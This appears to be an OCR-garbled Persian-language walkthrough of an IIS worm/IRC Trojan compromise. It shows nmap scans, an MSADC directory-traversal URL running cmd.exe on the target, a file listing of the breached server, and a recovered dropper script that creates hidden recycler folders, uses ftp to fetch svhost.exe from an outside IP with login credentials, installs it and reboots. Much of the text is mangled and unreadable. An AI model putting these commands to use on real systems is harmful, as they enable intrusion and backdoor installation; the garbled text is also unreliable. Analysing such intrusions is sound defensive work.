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' _IRC Trojan/IIS worm
2 Mini Internet Service Provider (ISP)
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Starting nmap A% 2.54BETA22
(www.insecure.org/nmap)
Interesting ports on (192.168.0.66);
(The ports scanned but not shown below are in

state : close)
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53/tcp open domain < .
80/tcp open http S e b S
135/tcp open loe-srv sa S olwl sy 1y DHCP 4 50
137/tcp filtered netbios-ns

138/tcp filtered netbios-dgm S Bl SsapelS 58 gl g a
139/tcp filtered netbios-ssn L T
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3 - Primary domain controller
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Nmap —sS —p 1-65535 —O 192.168.x.x
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4 _ Wishker — Stealth — CGI4
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http://192.168.0.66/MSADC/..%5c¢..%5¢..%5c¢..%S5cwinnt/system32/[ccc]
cmd.exe?c+dir+c:\winnt\system32
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cmd.exe?ctdirt+c:\
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Volume in drive C has no label
Volume Serial Number is DCF0-5460

Directory of C:
10/10/02 01:03 p

co/Y+/-¥ -axxya0

AUTOEXEC.BAT

10/18/02 12:57a
10/10/02 12:42p
05/20/02 09:32a
10/30/02 05:53p
11/23/99 10:04a
06/07/02 11:04a
errorlog.evt
05/28/02 07:06p
10/04/02 06:38p
10/04/02 06:38p
05/20/02 10:18p
09/24/02 06:49p
09/29/02 01:03p
httpodbc.dll
09/27/02 09:36p
10/18/02 01:11a
10/10/02 12:45p
INFUSE.EXE
10/10/02 12:43p
10/02/02 02:17p
10/30/02 02:47p
10/30/02 10:09a
pagefile.sys
07/24/02 01:29p
10/10/02 12:44p
10/14/02 05:21a
10/26/02 01:21p
10/26/02 01:21p
10/29/02 07:42p
servudaemon.ini
10/28/02 04:40p

<DIR>

<DIR>
<DIR>

<DIR>
<DIR>

<DIR>

ServUStartUpLog.txt

10/04/02 04:25p
SR.CD2-H20.r41
09/28/02 01:33p
10/10/02 12:43p
TLIST.EXE
06/18/02 10:00p
09/28/02 01:18p
10/10/02 12:45p
WINMGNT.EXE
10/30/02 01:09p

<DIR>

<DIR>
<DIR>

<DIR>

1000,000 1mb

789 bootobc.dll
223 CDIR.TXT
0 CONFIG.SYS
0 dir.txt
208,144 dns.exe
524,288

exchsrvr

0 explorer.exe
0 explorer.ini
hpfonts
hplj2100
6,721,536

[IStmp
InetPub
6,656

602 LOGIN.TXT
59,392 ncx99.exe
6,693 netstat.txt
536,870,912

Program Files

81 pt.txt

1,307 ra_slave.log
716 Script.bat

95 Script.txt
1,949

528
15,000,000

TEMP
17,920

veritas
WIN32
496,836

WINNT

35 File(s) 560,918,667 bytes
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olas oL LA« Script.txt

Script.bat

Pasdh o b gl e raS ol o
praal (po . «al oud dddle
oo o BT slsiae o< a8 8
URL 3 ,skse oy sl - aS
sl giae S a0 S soldiul ) sla

s oo pinlad |y Lebls oyl
http://192.168.0.66/MSADC/..%
5¢..%5c..%5c..%S5cwinnt/system

32/[ccc]
cmd.exe, /cttype+c:\scripts.bat

http://192.168.0.66/MSADC/..%
5¢..%5¢..%5c¢..%Scwinnt/system
32/[ccc]
cmd.exe, /ct+typetc:\scripts.txt
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Script.bat L ! giae

Mkdir c:\recycler

Mkdir c:\recycler\S-1-5-21-1831738385-770969707-784038887-1117

Mkdir c:\recycler\S-1-5-21-1831738385-770969707-784038887-1117\trash
Mkdir c:\recycler\S-1-5-21-1831738385-770969707-784038887-1117\trash\[ccc]
old files

Mkdir d:\recycler

Mkdir d:\recycler\S-1-5-21-1831738385-770969707-784038887-1117

Mkdir d:\recycler\S-1-5-21-1831738385-770969707-784038887-1117\trash
Mkdir d:\recycler\S-1-5-21-1831738385-770969707-784038887-1117\trash\[ccc]
old_files

mkdir e:\recycler

Mkdir e:\recycler\S-1-5-21-1831738385-770969707-784038887-1117

Mkdir e:\recycler\S-1-5-21-1831738385-770969707-784

c:\winnt\system32\ftp -n -s:script.txt

c:\winnt\system32\svhost.exe /i

c:\winnt\system32\psshutdown.exe -r -1 -

Script.txt Jsl (sl gine

open 210.171.xxx.xxx:11515
USER ironfredh

hichic

get svhost.exe

get servudaemon.ini

quit
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